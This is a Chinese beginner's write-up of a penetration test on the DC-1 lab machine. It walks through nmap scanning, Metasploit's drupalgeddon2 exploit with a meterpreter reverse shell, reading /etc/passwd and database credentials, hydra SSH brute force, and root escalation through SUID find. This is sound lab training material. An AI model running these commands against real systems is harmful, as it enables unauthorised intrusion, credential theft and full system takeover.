操作都是根据别的大佬的文章来的
但还是要记录一下

另外还要感谢可爱的啊离ヾ(๑╹◡╹)ﾉ"

虚拟机启动后发现要登录，但是却没有什么登录的信息，百度之后才发现这里是不提供的，需要要自己去渗透提权（真 小白）

确定目标

局域网内主机扫描

打开kali，都设置为桥接模式，可能是为了处在同一网段让kali能探测到DC-1吧

arp-scan是一个用来进来系统发现和指纹识别的命令行工具。它可以构建并发送ARP请求到指定的IP地址，并且显示返回的任何响应。
在kali中输入命令arp-scan -l
该命令作用是扫描局域网中所有设备

可得知为192.168.31.234的ip

扫描主机端口

-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口

使用nmap扫描端口，开放了80端口，所以可以在浏览器中打开

sC功能来使用脚本引擎功能
nmap -sC -sV 192.168.31.234

RCP服务

进入RPC服务端
rpcclient -U ‘’ 192.168.31.234

从这里面可以看出RPC没有利用价值

访问主页 收集信息

这里通过别人博客中发现一个插件，Wappalyzer 可以探测网站cms、框架、服务器等

可知为drupal cms

使用 metasploit 查找网站漏洞

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。

在启动metasploit时候报错

通过查找资料得知是由于bundler版本不一致造成，更换版本

gem install bundler:1.17.3

成功 msfconsole启动

search drupal

因为自己看不懂 所以找到一个网上的解释

这里使用最新的漏洞

use exploit/unix/webapp/drupal_restws_unserialize

show options

required为yes的需要另外设置
这里设置rhosts、lhost
rhosts为靶机ip

set rhosts 192.168.31.234

lhost为本机ip

set lhost 192.168.31.131

查看payloads

show payloads  

set payload php/meterpreter_reverse_tcp

exploit
攻击失败，换别的exp也是错误
经过各种尝试，啊离指点后知道是靶机的防火墙问题

但最新的那个exp确实是利用不成功，换一个

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.31.234
set lhost 192.168.31.131

选择payload的时候 建议选用和meterpreter和reverse相关的载荷

exploit

get shell

出现这个即为攻击成功
执行shell命令

flag1

发现flag1.txt文件，查看没有什么明显信息，提示查看配置文件

ls可以看到有sites文件

cd sites
ls
cd default

查看settings.php配置文件

flag2

得到flag2

得到
username：dbuser
password：R0ck3t
一段提示，翻译为

暴力和字典攻击并不是获得访问权限的唯一方法（而且您需要访问权限）。

你能用这些证件做什么？

但是我们现在还没有登录的密码

cat /etc/passwd

注册名：口令：用户标识号：组标识号：用户名：用户主目录：命令解释程序

flag4

hydra暴力破解
发现flag4用户，使用hydra暴力破解密码

hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.31.234

参数说明 hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e
ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s
PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户，对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写，指定密码破解，少用，一般是采用密码字典。
-P FILE 大写，指定密码字典。
-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。
-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数，默认为16。
-w TIME 设置最大超时的时间，单位秒，默认是30s。
-v / -V 显示详细过程。 server 目标ip 破解ssh：

-l 指定用户名
-P 加载密码字典（这里使用了John the Ripper安装后提供的密码本，一般在john-1.8.0/run/password.lst) ssh://ip 指定使用协议和ip地址

得到password：orange

登录flag4

ssh flag4@192.168.31.234

输入密码orange
连接数据库

mysql -udbuser -p

show satabases;

发现drupaldb库

use drupal；
show tables；

看到users表

select * from users；

这种加密方式没有见过，查找资料后发现使用脚本加密的

cd ../
cd /var/www

替换密码

php scripts/password-hash.sh 123456

使用admin 123456登录网站
找到flag3

flag3

根据提示查看shadow，但是失败

#cat /etc/shadow 查看用户的密码信息

查看别人文章说这里提示的是使用 find和exec进行提权

提权

首先了解一下suid的作用 SUID的作用：SUID是set uid的简称，它出现在文件所属主权限的执行位上面，标志为 s
。当设置了SUID后，UMSK第一位为4。我们知道，我们账户的密码文件存放在/etc/shadow中，而/etc/shadow的权限为
----------。也就是说：只有root用户可以对该目录进行操作，而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候，可以使用passwd这个指令。passwd这个指令在/bin/passwd下，当我们执行这个命令后，就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢？这里就用到了suid，suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行，意思是当普通用户执行passwd时会拥有root的权限，这样就可以修改/etc/passwd这个文件了。命令：
chmod u+s 文件名

以下命令将尝试查找具有root权限的SUID的文件，不同系统适用于不同的命令，一个一个试

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;

发现find拥有suid权限
ls -lh 可以查看文件的具体信息，其中包括不同的用户对该文件的权限
这里显示thefinalflag.txt

cat thefinalflag.txt

这一步和别的大佬文章里面不太一样，我这里是直接读出来的
放上其他师傅的步骤

flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag -exec "whoami" \;
root
flag4@DC-1:~$ find / -type f -name getflag -exec "/bin/sh" \;
cd /root
ls
thefinalflag.txt
cat thefinalflag.txt

nice 完成啦

通过这次渗透测试发现自己真的好菜啊，好多基础工具、命令都不会，我得回炉重造啦
冲鸭(｀・ω・´)